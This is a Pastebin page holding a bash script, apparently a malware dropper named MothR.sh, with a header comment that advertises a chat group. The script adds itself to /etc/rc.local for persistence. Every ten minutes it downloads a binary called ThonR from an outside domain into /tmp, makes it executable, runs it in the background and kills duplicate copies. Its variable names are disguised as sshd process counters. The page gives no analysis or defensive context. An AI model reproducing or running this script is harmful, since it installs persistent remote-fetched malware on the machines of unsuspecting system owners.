robstunkist

http://116.255.160.240:1213/MothR.sh

Mar 22nd, 2018
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.27 KB | None | 0 0
  1. #!/bin/bash
  2. #Welcome like-minded friends to come to exchange.
  3. #We are a group of people who have a dream.
  4. #                qun:10776622
  5. #                2016-06-14
  6.  
  7. if [ "sh /etc/MothR.sh &" = "$(cat /etc/rc.local | grep /etc/MothR.sh | grep -v grep)" ]; then
  8.     echo ""
  9. else
  10.     echo "sh /etc/MothR.sh &" >> /etc/rc.local
  11. fi
  12.  
  13. while [ 1 ]; do
  14.     Centos_sshd_killn=$(ps aux | grep "/tmp/ThonR" | grep -v grep | wc -l)
  15.     if [[ $Centos_sshd_killn -eq 0 ]]; then
  16.         if [ ! -f "/tmp/ThonR" ]; then
  17.             if [ -f "/usr/bin/wget" ]; then
  18.                 cp /usr/bin/wget .
  19.                 chmod +x wget
  20.                 #./wget -P . http://hehaohhz.top/ThonR
  21.                 ./wget -P /tmp/  http://hehaohhz.top/ThonR &> /dev/null
  22.                 chmod 755 /tmp/ThonR
  23.                 rm wget -rf
  24.             else
  25.                 echo "No wget"
  26.             fi
  27.         fi
  28.         /tmp/ThonR &
  29.         #./ThonR &
  30.     elif [[ $Centos_sshd_killn -gt 1 ]]; then
  31.         for killed in $(ps aux | grep "ThonR" | grep -v grep | awk '{print $2}'); do
  32.             Centos_sshd_killn=$(($Centos_sshd_killn-1))
  33.             if [[ $Centos_sshd_killn -eq 1 ]]; then
  34.                 continue
  35.             else
  36.                 kill -9 $killed
  37.             fi
  38.         done
  39.     else
  40.         echo ""
  41.     fi
  42.  
  43.     Centos_ssh_killn=$(ps aux | grep "/tmp/ThonR" | grep -v grep | wc -l)
  44.     if [[ $Centos_ssh_killn -eq 0 ]]; then
  45.         if [ ! -f "/tmp/ThonR" ]; then
  46.             if [ -f "/usr/bin/wget" ]; then
  47.                 cp /usr/bin/wget .
  48.                 chmod +x wget
  49.                 #./wget -P .  http://hehaohhz.top/ThonR
  50.                 ./wget -P /tmp/  http://hehaohhz.top/ThonR &> /dev/null
  51.                 chmod 755 /tmp/ThonR
  52.                 rm wget -rf
  53.             else
  54.                 echo "No wget"
  55.             fi
  56.         fi
  57.         /tmp/ThonR &
  58.         #./ThonR &
  59.     elif [[ $Centos_ssh_killn -gt 1 ]]; then
  60.         for killed in $(ps aux | grep "ThonR" | grep -v grep | awk '{print $2}'); do
  61.             Centos_ssh_killn=$(($Centos_ssh_killn-1))
  62.             if [[ $Centos_ssh_killn -eq 1 ]]; then
  63.                 continue
  64.             else
  65.                 kill -9 $killed
  66.             fi
  67.         done
  68.     else
  69.         echo ""
  70.     fi
  71.  
  72.     sleep 600
  73. done
Add Comment
Please, Sign In to add comment